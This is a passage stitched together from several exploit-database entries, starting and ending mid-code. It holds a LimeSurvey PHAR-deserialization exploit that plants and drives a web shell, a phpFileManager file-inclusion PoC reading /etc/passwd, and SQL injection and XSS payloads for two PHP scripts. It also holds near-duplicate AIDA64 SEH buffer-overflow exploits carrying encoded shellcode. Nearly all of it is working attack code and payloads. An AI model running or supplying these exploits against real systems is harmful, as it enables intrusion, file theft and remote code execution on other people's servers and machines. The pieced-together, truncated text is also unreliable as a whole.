"\x43\x72\x69\x74\x65\x72\x69\x61\x22\x3a\x31\x3a\x7b\x73\x3a\x36\x3a\x22\x70\x61\x72\x61\x6d\x73\x22\x3b\x4f\x3a\x31\x32"
"\x3a\x22\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x22\x3a\x33\x3a\x7b\x73\x3a\x31\x36\x3a\x22\x00\x43\x4d\x61\x70"
"\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x64\x22\x3b\x4f\x3a\x31\x30\x3a\x22\x43\x46\x69\x6c\x65\x43\x61\x63\x68\x65\x22"
"\x3a\x37\x3a\x7b\x73\x3a\x39\x3a\x22\x6b\x65\x79\x50\x72\x65\x66\x69\x78\x22\x3b\x73\x3a\x30\x3a\x22\x22\x3b\x73\x3a\x37"
"\x3a\x22\x68\x61\x73\x68\x4b\x65\x79\x22\x3b\x62\x3a\x30\x3b\x73\x3a\x31\x30\x3a\x22\x73\x65\x72\x69\x61\x6c\x69\x7a\x65"
"\x72\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x31\x3b\x73\x3a\x36\x3a\x22\x73\x79\x73\x74\x65\x6d\x22\x3b\x7d\x73\x3a\x39\x3a"
"\x22\x63\x61\x63\x68\x65\x50\x61\x74\x68\x22\x3b\x73\x3a\x31\x30\x3a\x22\x64\x61\x74\x61\x3a\x74\x65\x78\x74\x2f\x22\x3b"
"\x73\x3a\x31\x34\x3a\x22\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x4c\x65\x76\x65\x6c\x22\x3b\x69\x3a\x30\x3b\x73\x3a\x31\x31"
"\x3a\x22\x65\x6d\x62\x65\x64\x45\x78\x70\x69\x72\x79\x22\x3b\x62\x3a\x31\x3b\x73\x3a\x31\x35\x3a\x22\x63\x61\x63\x68\x65"
"\x46\x69\x6c\x65\x53\x75\x66\x66\x69\x78\x22\x3b\x73\x3a\x31\x34\x30\x3a\x22\x3b\x62\x61\x73\x65\x36\x34\x2c\x4f\x54\x6b"
"\x35\x4f\x54\x6b\x35\x4f\x54\x6b\x35\x4f\x57\x56\x6a\x61\x47\x38\x67\x4d\x32\x4d\x7a\x5a\x6a\x63\x77\x4e\x6a\x67\x33\x4d"
"\x44\x49\x77\x4e\x7a\x4d\x33\x4f\x54\x63\x7a\x4e\x7a\x51\x32\x4e\x54\x5a\x6b\x4d\x6a\x67\x79\x4e\x44\x56\x6d\x4e\x44\x63"
"\x30\x4e\x54\x55\x30\x4e\x57\x49\x79\x4d\x6a\x59\x7a\x4d\x6a\x49\x31\x5a\x44\x49\x35\x4d\x32\x49\x79\x4d\x44\x4e\x6d\x4d"
"\x32\x55\x77\x59\x53\x42\x38\x49\x48\x68\x34\x5a\x43\x41\x74\x63\x69\x41\x74\x63\x43\x41\x2b\x49\x48\x4e\x6f\x5a\x57\x78"
"\x73\x4c\x6e\x42\x6f\x63\x41\x3d\x3d\x22\x3b\x7d\x73\x3a\x31\x39\x3a\x22\x00\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f"
"\x72\x00\x5f\x6b\x65\x79\x73\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x30\x3b\x69\x3a\x30\x3b\x7d\x73\x3a\x31\x38\x3a\x22\x00"
"\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x6b\x65\x79\x22\x3b\x69\x3a\x30\x3b\x7d\x7d\x08\x00\x00\x00\x74"
"\x65\x73\x74\x2e\x74\x78\x74\x04\x00\x00\x00\x36\xad\x9d\x5c\x04\x00\x00\x00\x0c\x7e\x7f\xd8\xb6\x01\x00\x00\x00\x00\x00"
"\x00\x74\x65\x73\x74\xcc\xd9\x99\xbd\x5e\x65\x4e\x03\x9b\x90\xdd\xd5\x8b\xff\x28\xd2\x37\x8b\x23\xe5\x02\x00\x00\x00\x47"
"\x42\x4d\x42")
def usage():
if len(sys.argv) != 4:
print "Usage: python exploit.py [URL] [USERNAME] [PASSWORD]"
sys.exit(0)
def get(url):
r = SESSION.get(url, verify=False)
return r.text
def post(url, data={}, files=None, headers=None):
r = SESSION.post(url, data=data, headers=headers, files=files, verify=False)
return r.text
def getYIICSRFToken(url):
res = get(url)
token = re.findall(r'value="(.*)" name="YII_CSRF_TOKEN"', res)
return token[0]
def getKCSRFToken(url):
res = get(url)
token = re.findall(r'csrftoken = "(.*)";', res)
return token[0]
def login(url, username, password):
token = getYIICSRFToken(url)
data = {"YII_CSRF_TOKEN" : token,
"authMethod" : "Authdb",
"user" : username,
"password" : password,
"loginlang" : "default",
"action" : "login",
"width" : "1366",
"login_submit" : "login"
}
res = post(url, data)
if len(re.findall("loginform", res)) == 0:
return True
else:
return False
def emailTemplates(url):
return get(url)
def createSurvey(url_newsurvey, url_insert):
token = getYIICSRFToken(url_newsurvey)
data = {"YII_CSRF_TOKEN" : token,
"surveyls_title" : "Survey Example - SecSignal",
"language" : "en",
"createsample" : "0",
"description" : "foo",
"url" : "",
"urldescrip" : "",
"dateformat" : "1",
"numberformat_en": "0",
"welcome" : "bar",
"endtext" : "asdf",
"owner_id" : "1",
"admin" : "Administrator",
"adminemail" : "test%40gsecsignal.org",
"bounce_email" : "test%40gsecsignal.org",
"faxto" : "",
"gsid" : "1",
"format" : "G",
"template" : "fruity",
"navigationdelay": "0",
"questionindex" : "0",
"showgroupinfo" : "B",
"showqnumcode" : "X",
"shownoanswer" : "Y",
"showxquestions" : "0",
"showxquestions" : "1",
"showwelcome" : "0",
"showwelcome" : "1",
"allowprev" : "0",
"nokeyboard" : "0",
"showprogress" : "0",
"showprogress" : "1",
"printanswers" : "0",
"publicstatistics" : "0",
"publicgraphs" : "0",
"autoredirect" : "0",
"startdate" : "",
"expires" : "",
"listpublic" : "0",
"usecookie" : "0",
"usecaptcha_surveyaccess" : "0",
"usecaptcha_registration" : "0",
"usecaptcha_saveandload" : "0",
"datestamp" : "0",
"ipaddr" : "0",
"refurl" : "0",
"savetimings" : "0",
"assessments" : "0",
"allowsave" : "0",
"allowsave" : "1",
"emailnotificationto" : "",
"emailresponseto" : "",
"googleanalyticsapikeysetting" : "N",
"googleanalyticsstyle" : "0",
"tokenlength" : "15",
"anonymized" : "0",
"tokenanswerspersistence" : "0",
"alloweditaftercompletion" : "0",
"allowregister" : "0",
"htmlemail" : "0",
"htmlemail" : "1",
"sendconfirmation" : "0",
"sendconfirmation" : "1",
"saveandclose" : "1"
}
res = post(url_insert, data)
surveyid = re.findall(r'surveyid\\/([0-9]+)', res)
return surveyid[0] # Return SurveyiD
def uploadPHAR(url_upload, url_csrf_token, phar):
kcfinder_csrftoken = getKCSRFToken(url_csrf_token)
files = {'upload[]': ('malicious.jpg', phar)}
data = {"dir" : "files",
"kcfinder_csrftoken" : kcfinder_csrftoken
}
res = post(url_upload, data, files)
return res
def pdfExport(url_pdf_export, surveyid):
token = getYIICSRFToken(url_pdf_export + surveyid)
data = {"save_language" : "en",
"queXMLStyle" : '<h1>Stage 2</h1><img src="phar://./upload/surveys/'+ surveyid + '/files/malicious.jpg">',
"queXMLSingleResponseAreaHeight" : "9",
"queXMLSingleResponseHorizontalHeight" : "10.5",
"queXMLQuestionnaireInfoMargin" : "5",
"queXMLResponseTextFontSize" : "10",
"queXMLResponseLabelFontSize" : "7.5",
"queXMLResponseLabelFontSizeSmall" : "6.5",
"queXMLSectionHeight" : "18",
"queXMLBackgroundColourSection" : "221",
"queXMLBackgroundColourQuestion" : "241",
"queXMLAllowSplittingSingleChoiceHorizontal" : "0",
"queXMLAllowSplittingSingleChoiceHorizontal" : "1",
"queXMLAllowSplittingSingleChoiceVertical" : "0",
"queXMLAllowSplittingSingleChoiceVertical" : "1",
"queXMLAllowSplittingMatrixText" : "0",
"queXMLAllowSplittingMatrixText" : "1",
"queXMLAllowSplittingVas" : "0",
"queXMLPageOrientation" : "P",
"queXMLPageFormat" : "A4",
"queXMLEdgeDetectionFormat" : "lines",
"YII_CSRF_TOKEN" : token,
"ok" : "Y"}
res = post(url_pdf_export + surveyid, data)
return res
def shell(url):
r = requests.get("%s/shell.php" % url)
if r.status_code == 200:
print "[+] Pwned! :)"
print "[+] Getting the shell..."
while 1:
try:
input = raw_input("$ ")
r = requests.get("%s/shell.php?c=%s" % (url, input))
print r.text
except KeyboardInterrupt:
sys.exit("\nBye kaker!")
else:
print "[*] The site seems not to be vulnerable :("
def main():
usage()
url = sys.argv[1] # URL
username = sys.argv[2] # Username
password = sys.argv[3] # Password
url_login = "%s/index.php/admin/authentication/sa/login" % url
print "[*] Logging in to LimeSurvey..."
if login(url_login, username, password):
url_newsurvey = "%s/index.php/admin/survey/sa/newsurvey" % url
url_insert = "%s/index.php/admin/survey/sa/insert" % url
print "[*] Creating a new Survey..."
surveyid = createSurvey(url_newsurvey, url_insert)
print "[+] SurveyID: %s" % surveyid
email_templates = "%s/index.php/admin/emailtemplates/sa/index/surveyid/%s" % (url, surveyid)
emailTemplates(email_templates)
url_csrf_token = "%s/third_party/kcfinder/browse.php?opener=custom&type=files&CKEditor=email_invitation_en&langCode=en" % url
url_upload = "%s/third_party/kcfinder/browse.php?type=files&lng=en&opener=custom&act=upload" % url
print "[*] Uploading a malicious PHAR..."
uploadPHAR(url_upload, url_csrf_token, PHAR)
url_pdf_export = "%s/index.php/admin/export/sa/quexml/surveyid/" % url
print "[*] Sending the Payload..."
export_response = pdfExport(url_pdf_export, surveyid)
print "[*] TCPDF Response: %s" % export_response
shell(url)
else:
print "[-] Bad credentials :("
if __name__ == "__main__":
main()
# Exploit Title: phpFileManager 1.7.8 - Local File Inclusion
# Date: 01.04.2019
# Exploit Author: Murat Kalafatoglu
# Vendor Homepage: https://sourceforge.net/projects/phpfm/
# Software Demo: https://phpfm-demo.000webhostapp.com/
# Version: v1.7.8
# Category: Webapps
# Tested on: XAMPP for Linux
# Description: Any user can read files from the server
# without authentication due to an existing LFI in the following path:
# http://target/index.php?action=3&fm_current_dir=%2Fetc%2F&filename=passwd
# PoC
#!/usr/bin/python
import requests, sys
print "\n[*] phpFileManager 1.7.8 LFI PoC By Murat Kalafatoglu"
print "[+] usage: python " + __file__ + " http://<target_ip/domain>"
if (len(sys.argv) != 2):
print "[*] Usage: poc.py <target_ip/domain>"
exit(0)
ip_add = sys.argv[1]
dr = raw_input('[+] Directory: aka /etc/\n')
fd = raw_input('[+] File : aka passwd\n')
print "Exploiting....."
print '\n'
exp = requests.get(""+ ip_add + "index.php?action=3&fm_current_dir=" + dr + "&filename=" + fd +"")
print exp.text
# Exploit Title: Fiverr Clone Script 1.2.2 - SQL Injection / Cross Site Scripting
# Exploit Author: Mr Winst0n
# Author E-mail: manamtabeshekan@gmail.com
# Discovery Date: Apr 1, 2019
# Vendor Homepage: https://www.phpscriptsmall.com
# Software Link : https://www.phpscriptsmall.com/product/fiverr-clone-script/
# Tested Version: 1.2.2
# Tested on: Kali linux, Windows 8.1
# PoC:
# http://localhost/?page=[SQLi]
# http://localhost/search-results.php?category=[Category id]&subcategory=[Subcategory id]&keyword=[XSS]
# http://localhost/?page=2%20%27%20OR%201%20=%201%20--
# http://localhost/search-results.php?category=32&subcategory=63&keyword=<ScrIpt>alert(1)</sCrIpT>&project_search=#
#!/usr/bin/python #
# Exploit Title: AIDA64 Extreme 5.99.4900 - SEH Buffer Overflow (EggHunter) #
# Date: 2019-04-01 #
# Vendor Homepage: https://www.aida64.com #
# Software Link: http://download.aida64.com/aida64extreme599.exe #
# Mirror Link : https://www.nikktech.com/main/downloads/finalwire/aida64extreme599.exe #
# Exploit Author: Peyman Forouzan #
# Tested Version: 5.99.4900 #
# Tested on: Winxp SP2 32-64 bit - Win7 Enterprise SP1 32-64 bit - Win10 Enterprise 32-64 bit #
# Special Thanks to my wife #
# The program has SEH Buffer Overflow in several places.(this code show one of them) #
# Note 1 : To optimize code, I've used a "stack pivot" that is the same in #
# (Extreme, Engineer, Network Audit) Editions. #
# So this code works in (Extreme, Engineer, Network Audit) of version 5.99.4900 #
# But the stack pivots in Business Edition are different. #
# Note 2 : All the old versions of the program that are available on the sites like soft32.com, #
# or in https://www.aida64.com/downloads/archive #
# have the same vulnerabily in different offsets (for example version 5.70.3800 ) #
# Note 3 : this technique (EggHunter) has been used to run vulnerability in different windows versions. #
# Steps : #
# 1- Run python code : Aida64-Extreme.py ( Three files are created ) #
# 2- App --> File --> Preferences --> Email --> SMTP --> paste in contents from the egg.txt #
# into "Display name" --> Ok #
# 3- Report --> Report Wizard ... --> Next --> paste in contents from the egghunter-winxp-win7.txt #
# or egghunter-win10.txt (depend on your windows version) into "Load from file" --> Next #
# --> Wait a minute --> Shellcode (Calc) open #
#---------------------------------------------------------------------------------------------------------#
#------------------------------------ EGG Shellcode Generation ---------------------------------------
bufsize = 292
#msfvenom -p windows/exec cmd=calc.exe BufferRegister=EDI -e x86/alpha_mixed -f python -a x86 --platform windows -v egg
egg = "w00tw00t"
egg += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
egg += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
egg += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
egg += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
egg += "\x79\x6c\x5a\x48\x4e\x62\x77\x70\x57\x70\x63\x30\x71"
egg += "\x70\x4b\x39\x5a\x45\x35\x61\x4f\x30\x52\x44\x4c\x4b"
egg += "\x52\x70\x46\x50\x6c\x4b\x53\x62\x54\x4c\x6c\x4b\x43"
egg += "\x62\x44\x54\x6c\x4b\x71\x62\x51\x38\x34\x4f\x6e\x57"
egg += "\x31\x5a\x36\x46\x55\x61\x6b\x4f\x4c\x6c\x37\x4c\x75"
egg += "\x31\x73\x4c\x45\x52\x54\x6c\x77\x50\x49\x51\x48\x4f"
egg += "\x34\x4d\x53\x31\x69\x57\x39\x72\x4a\x52\x62\x72\x43"
egg += "\x67\x6e\x6b\x71\x42\x52\x30\x4c\x4b\x70\x4a\x47\x4c"
egg += "\x6e\x6b\x62\x6c\x62\x31\x72\x58\x6a\x43\x70\x48\x33"
egg += "\x31\x4e\x31\x52\x71\x4c\x4b\x36\x39\x37\x50\x63\x31"
egg += "\x5a\x73\x4c\x4b\x42\x69\x52\x38\x68\x63\x57\x4a\x31"
egg += "\x59\x4e\x6b\x44\x74\x4c\x4b\x55\x51\x38\x56\x50\x31"
egg += "\x6b\x4f\x6e\x4c\x69\x51\x78\x4f\x46\x6d\x36\x61\x58"
egg += "\x47\x46\x58\x4b\x50\x52\x55\x39\x66\x65\x53\x71\x6d"
egg += "\x79\x68\x45\x6b\x31\x6d\x45\x74\x34\x35\x7a\x44\x52"
egg += "\x78\x4c\x4b\x62\x78\x77\x54\x47\x71\x58\x53\x75\x36"
egg += "\x6c\x4b\x34\x4c\x70\x4b\x6c\x4b\x52\x78\x35\x4c\x43"
egg += "\x31\x58\x53\x6c\x4b\x73\x34\x6e\x6b\x67\x71\x58\x50"
egg += "\x6c\x49\x73\x74\x45\x74\x55\x74\x63\x6b\x61\x4b\x33"
egg += "\x51\x32\x79\x51\x4a\x36\x31\x49\x6f\x4b\x50\x71\x4f"
egg += "\x71\x4f\x42\x7a\x6c\x4b\x44\x52\x48\x6b\x6e\x6d\x31"
egg += "\x4d\x50\x6a\x35\x51\x6e\x6d\x6f\x75\x48\x32\x55\x50"
egg += "\x75\x50\x53\x30\x46\x30\x55\x38\x74\x71\x4c\x4b\x72"
egg += "\x4f\x4e\x67\x69\x6f\x6b\x65\x4d\x6b\x5a\x50\x38\x35"
egg += "\x79\x32\x56\x36\x45\x38\x59\x36\x6a\x35\x6f\x4d\x6f"
egg += "\x6d\x69\x6f\x59\x45\x35\x6c\x64\x46\x31\x6c\x76\x6a"
egg += "\x4b\x30\x79\x6b\x4b\x50\x74\x35\x73\x35\x4d\x6b\x73"
egg += "\x77\x65\x43\x71\x62\x32\x4f\x50\x6a\x75\x50\x31\x43"
egg += "\x39\x6f\x5a\x75\x55\x33\x43\x51\x72\x4c\x45\x33\x44"
egg += "\x6e\x62\x45\x31\x68\x62\x45\x63\x30\x41\x41"
f = open ("egg.txt", "w")
f.write(egg)
f.close()
#---------------------------------- EGG Hunter Shellcode Generation ------------------------------------
egghunter = "\x8b\x7c\x24\x08\xbe\xe9\xfe\xff\xff\xf7\xde\x29\xf7"
egghunter += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
egghunter += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58"
egghunter += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42"
egghunter += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
egghunter += "\x42\x75\x4a\x49\x70\x66\x4c\x4c\x78\x4b\x6b\x30"
egghunter += "\x49\x6b\x54\x63\x42\x55\x74\x4a\x66\x51\x69\x4b"
egghunter += "\x36\x51\x38\x52\x36\x33\x52\x73\x36\x33\x36\x33"
egghunter += "\x38\x33\x4f\x30\x71\x76\x4d\x51\x6b\x7a\x39\x6f"
egghunter += "\x66\x6f\x47\x32\x36\x32\x4d\x50\x59\x6b\x59\x50"
egghunter += "\x33\x44\x57\x78\x43\x5a\x66\x62\x72\x78\x78\x4d"
egghunter += "\x44\x6e\x73\x6a\x7a\x4b\x37\x62\x52\x4a\x71\x36"
egghunter += "\x61\x48\x55\x61\x69\x59\x6f\x79\x79\x72\x70\x64"
egghunter += "\x59\x6f\x75\x43\x73\x6a\x6e\x63\x57\x4c\x71\x34"
egghunter += "\x47\x70\x42\x54\x76\x61\x72\x7a\x57\x4c\x37\x75"
egghunter += "\x74\x34\x7a\x76\x6c\x78\x72\x57\x46\x50\x76\x50"
egghunter += "\x63\x44\x6d\x59\x59\x47\x4e\x4f\x71\x65\x4e\x31"
egghunter += "\x6e\x4f\x51\x65\x38\x4e\x79\x6f\x4b\x57\x41\x41"
egghunter10 = "\x8b\x7c\x24\x08\xbe\xe9\xfe\xff\xff\xf7\xde\x29"
egghunter10 += "\xf7\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
egghunter10 += "\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41"
egghunter10 += "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41"
egghunter10 += "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38"
egghunter10 += "\x41\x42\x75\x4a\x49\x4d\x53\x5a\x4c\x34\x70\x50"
egghunter10 += "\x31\x69\x42\x30\x52\x70\x52\x30\x52\x62\x46\x4e"
egghunter10 += "\x6c\x4a\x6b\x6b\x30\x59\x6b\x76\x43\x44\x35\x54"
egghunter10 += "\x42\x4d\x63\x59\x50\x30\x66\x4b\x31\x59\x5a\x69"
egghunter10 += "\x6f\x56\x6f\x43\x72\x31\x42\x6b\x30\x39\x6b\x6f"
egghunter10 += "\x30\x44\x34\x44\x4c\x48\x38\x64\x7a\x39\x6e\x39"
egghunter10 += "\x6f\x49\x6f\x6c\x37\x4b\x68\x68\x4d\x64\x6e\x72"
egghunter10 += "\x7a\x58\x6b\x47\x61\x54\x71\x4b\x6b\x76\x33\x31"
egghunter10 += "\x43\x76\x33\x50\x6a\x45\x79\x46\x38\x78\x33\x39"
egghunter10 += "\x50\x45\x34\x49\x6f\x46\x73\x4f\x73\x4b\x74\x66"
egghunter10 += "\x6c\x72\x7a\x65\x6c\x46\x65\x54\x34\x5a\x73\x78"
egghunter10 += "\x38\x51\x67\x34\x70\x30\x30\x30\x74\x4b\x39\x78"
egghunter10 += "\x57\x6e\x4f\x42\x55\x48\x4e\x4e\x4f\x74\x35\x5a"
egghunter10 += "\x6b\x69\x6f\x4b\x57\x41\x41"
jmpback = "\xe9\xdc\xfe\xff\xff" # jmp back
nseh = "\xeb\xf9\x90\x90" # jmp Short back
seh = "\x40\x15\x40" # Overwrite Seh - Golden Pivot !!
buffer = egghunter
buffer += "\x41" * (bufsize-len(buffer)-len(jmpback))
buffer += jmpback
buffer += nseh
buffer += seh
print "[+] Creating %s bytes payload for winxp and windows 7 ..." %len(buffer)
f = open ("egghunter-winxp-win7.txt", "w")
print "[+] File created!"
f.write(buffer)
f.close()
buffer = egghunter10
buffer += "\x41" * (bufsize-len(buffer)-len(jmpback))
buffer += jmpback
buffer += nseh
buffer += seh
print "[+] Creating %s bytes payload for windows 10 ..." %len(buffer)
f = open ("egghunter-win10.txt", "w")
print "[+] File created!"
f.write(buffer)
f.close()
# Exploit Title: iScripts ReserveLogic - SQL Injection
# Date: 29.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.iscripts.com/reservelogic/
# Demo Site: https://www.demo.iscripts.com/reservelogic/demo/
# Version: Lastest
# Tested on: Kali Linux
# CVE: N/A
----- PoC: SQLi -----
Request: http://localhost/[PATH]/search
Vulnerable Parameter: jqSearchDestination (POST)
Payload: jqSearchDestination=(SELECT (CASE WHEN (8124=8124) THEN 12345 ELSE
(SELECT 3029 UNION SELECT 1241) END))
#!/usr/bin/python #
# Exploit Title: AIDA64 Business 5.99.4900 - SEH Buffer Overflow (EggHunter) #
# Date: 2019-04-01 #
# Vendor Homepage: https://www.aida64.com #
# Software Link: https://www.aida64.com/downloads #
# Mirror Link : https://www.softpedia.com/get/System/System-Info/AIDA64-Business-Edition.shtml #
# Exploit Author: Peyman Forouzan #
# Tested Version: 5.99.4900 #
# Tested on: Winxp SP2 32-64 bit - Win7 Enterprise SP1 32-64 bit - Win10 Enterprise 32-64 bit #
# Special Thanks to my wife #
# The program has SEH Buffer Overflow in several places.(this code show one of them) #
# Note 1 : To optimize code, I've used a "stack pivot" that is the same in #
# (Extreme, Engineer, Network Audit) Editions. #
# So this code works in (Extreme, Engineer, Network Audit) of version 5.99.4900 #
# But the stack pivots in Business Edition are different. #
# Note 2 : All the old versions of the program that are available on the sites like soft32.com, #
# or in https://www.aida64.com/downloads/archive #
# have the same vulnerabily in different offsets (for example version 5.70.3800 ) #
# Note 3 : this technique (EggHunter) has been used to run vulnerability in different windows versions. #
# Steps : #
# 1- Run python code : Aida64-Business.py ( Three files are created ) #
# 2- App --> File --> Preferences --> Email --> SMTP --> paste in contents from the egg.txt #
# into "Display name" --> Ok #
# 3- Report --> Report Wizard ... --> Next --> paste in contents from the egghunter-winxp-win7.txt #
# or egghunter-win10.txt (depend on your windows version) into "Load from file" --> Next #
# --> Wait a minute --> Shellcode (Calc) open #
#---------------------------------------------------------------------------------------------------------#
#------------------------------------ EGG Shellcode Generation ---------------------------------------
bufsize = 292
#msfvenom -p windows/exec cmd=calc.exe BufferRegister=EDI -e x86/alpha_mixed -f python -a x86 --platform windows -v egg
egg = "w00tw00t"
egg += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
egg += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
egg += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
egg += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
egg += "\x79\x6c\x5a\x48\x4e\x62\x77\x70\x57\x70\x63\x30\x71"
egg += "\x70\x4b\x39\x5a\x45\x35\x61\x4f\x30\x52\x44\x4c\x4b"
egg += "\x52\x70\x46\x50\x6c\x4b\x53\x62\x54\x4c\x6c\x4b\x43"
egg += "\x62\x44\x54\x6c\x4b\x71\x62\x51\x38\x34\x4f\x6e\x57"
egg += "\x31\x5a\x36\x46\x55\x61\x6b\x4f\x4c\x6c\x37\x4c\x75"
egg += "\x31\x73\x4c\x45\x52\x54\x6c\x77\x50\x49\x51\x48\x4f"
egg += "\x34\x4d\x53\x31\x69\x57\x39\x72\x4a\x52\x62\x72\x43"
egg += "\x67\x6e\x6b\x71\x42\x52\x30\x4c\x4b\x70\x4a\x47\x4c"
egg += "\x6e\x6b\x62\x6c\x62\x31\x72\x58\x6a\x43\x70\x48\x33"
egg += "\x31\x4e\x31\x52\x71\x4c\x4b\x36\x39\x37\x50\x63\x31"
egg += "\x5a\x73\x4c\x4b\x42\x69\x52\x38\x68\x63\x57\x4a\x31"
egg += "\x59\x4e\x6b\x44\x74\x4c\x4b\x55\x51\x38\x56\x50\x31"
egg += "\x6b\x4f\x6e\x4c\x69\x51\x78\x4f\x46\x6d\x36\x61\x58"
egg += "\x47\x46\x58\x4b\x50\x52\x55\x39\x66\x65\x53\x71\x6d"
egg += "\x79\x68\x45\x6b\x31\x6d\x45\x74\x34\x35\x7a\x44\x52"
egg += "\x78\x4c\x4b\x62\x78\x77\x54\x47\x71\x58\x53\x75\x36"
egg += "\x6c\x4b\x34\x4c\x70\x4b\x6c\x4b\x52\x78\x35\x4c\x43"
egg += "\x31\x58\x53\x6c\x4b\x73\x34\x6e\x6b\x67\x71\x58\x50"
egg += "\x6c\x49\x73\x74\x45\x74\x55\x74\x63\x6b\x61\x4b\x33"
egg += "\x51\x32\x79\x51\x4a\x36\x31\x49\x6f\x4b\x50\x71\x4f"
egg += "\x71\x4f\x42\x7a\x6c\x4b\x44\x52\x48\x6b\x6e\x6d\x31"
egg += "\x4d\x50\x6a\x35\x51\x6e\x6d\x6f\x75\x48\x32\x55\x50"
egg += "\x75\x50\x53\x30\x46\x30\x55\x38\x74\x71\x4c\x4b\x72"
egg += "\x4f\x4e\x67\x69\x6f\x6b\x65\x4d\x6b\x5a\x50\x38\x35"
egg += "\x79\x32\x56\x36\x45\x38\x59\x36\x6a\x35\x6f\x4d\x6f"
egg += "\x6d\x69\x6f\x59\x45\x35\x6c\x64\x46\x31\x6c\x76\x6a"
egg += "\x4b\x30\x79\x6b\x4b\x50\x74\x35\x73\x35\x4d\x6b\x73"
egg += "\x77\x65\x43\x71\x62\x32\x4f\x50\x6a\x75\x50\x31\x43"
egg += "\x39\x6f\x5a\x75\x55\x33\x43\x51\x72\x4c\x45\x33\x44"
egg += "\x6e\x62\x45\x31\x68\x62\x45\x63\x30\x41\x41"
f = open ("egg.txt", "w")
f.write(egg)
f.close()
#---------------------------------- EGG Hunter Shellcode Generation ------------------------------------
egghunter = "\x8b\x7c\x24\x08\xbe\xe9\xfe\xff\xff\xf7\xde\x29\xf7"
egghunter += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
egghunter += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58"
egghunter += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42"
egghunter += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
egghunter += "\x42\x75\x4a\x49\x70\x66\x4c\x4c\x78\x4b\x6b\x30"
egghunter += "\x49\x6b\x54\x63\x42\x55\x74\x4a\x66\x51\x69\x4b"
egghunter += "\x36\x51\x38\x52\x36\x33\x52\x73\x36\x33\x36\x33"
egghunter += "\x38\x33\x4f\x30\x71\x76\x4d\x51\x6b\x7a\x39\x6f"
egghunter += "\x66\x6f\x47\x32\x36\x32\x4d\x50\x59\x6b\x59\x50"
egghunter += "\x33\x44\x57\x78\x43\x5a\x66\x62\x72\x78\x78\x4d"
egghunter += "\x44\x6e\x73\x6a\x7a\x4b\x37\x62\x52\x4a\x71\x36"
egghunter += "\x61\x48\x55\x61\x69\x59\x6f\x79\x79\x72\x70\x64"
egghunter += "\x59\x6f\x75\x43\x73\x6a\x6e\x63\x57\x4c\x71\x34"
egghunter += "\x47\x70\x42\x54\x76\x61\x72\x7a\x57\x4c\x37\x75"
egghunter += "\x74\x34\x7a\x76\x6c\x78\x72\x57\x46\x50\x76\x50"
egghunter += "\x63\x44\x6d\x59\x59\x47\x4e\x4f\x71\x65\x4e\x31"
egghunter += "\x6e\x4f\x51\x65\x38\x4e\x79\x6f\x4b\x57\x41\x41"
egghunter10 = "\x8b\x7c\x24\x08\xbe\xe9\xfe\xff\xff\xf7\xde\x29"
egghunter10 += "\xf7\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
egghunter10 += "\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41"
egghunter10 += "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41"
egghunter10 += "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38"
egghunter10 += "\x41\x42\x75\x4a\x49\x4d\x53\x5a\x4c\x34\x70\x50"
egghunter10 += "\x31\x69\x42\x30\x52\x70\x52\x30\x52\x62\x46\x4e"
egghunter10 += "\x6c\x4a\x6b\x6b\x30\x59\x6b\x76\x43\x44\x35\x54"
egghunter10 += "\x42\x4d\x63\x59\x50\x30\x66\x4b\x31\x59\x5a\x69"
egghunter10 += "\x6f\x56\x6f\x43\x72\x31\x42\x6b\x30\x39\x6b\x6f"
egghunter10 += "\x30\x44\x34\x44\x4c\x48\x38\x64\x7a\x39\x6e\x39"
egghunter10 += "\x6f\x49\x6f\x6c\x37\x4b\x68\x68\x4d\x64\x6e\x72"
egghunter10 += "\x7a\x58\x6b\x47\x61\x54\x71\x4b\x6b\x76\x33\x31"
egghunter10 += "\x43\x76\x33\x50\x6a\x45\x79\x46\x38\x78\x33\x39"
egghunter10 += "\x50\x45\x34\x49\x6f\x46\x73\x4f\x73\x4b\x74\x66"
egghunter10 += "\x6c\x72\x7a\x65\x6c\x46\x65\x54\x34\x5a\x73\x78"
egghunter10 += "\x38\x51\x67\x34\x70\x30\x30\x30\x74\x4b\x39\x78"
egghunter10 += "\x57\x6e\x4f\x42\x55\x48\x4e\x4e\x4f\x74\x35\x5a"
egghunter10 += "\x6b\x69\x6f\x4b\x57\x41\x41"
jmpback = "\xe9\xdc\xfe\xff\xff" # jmp back
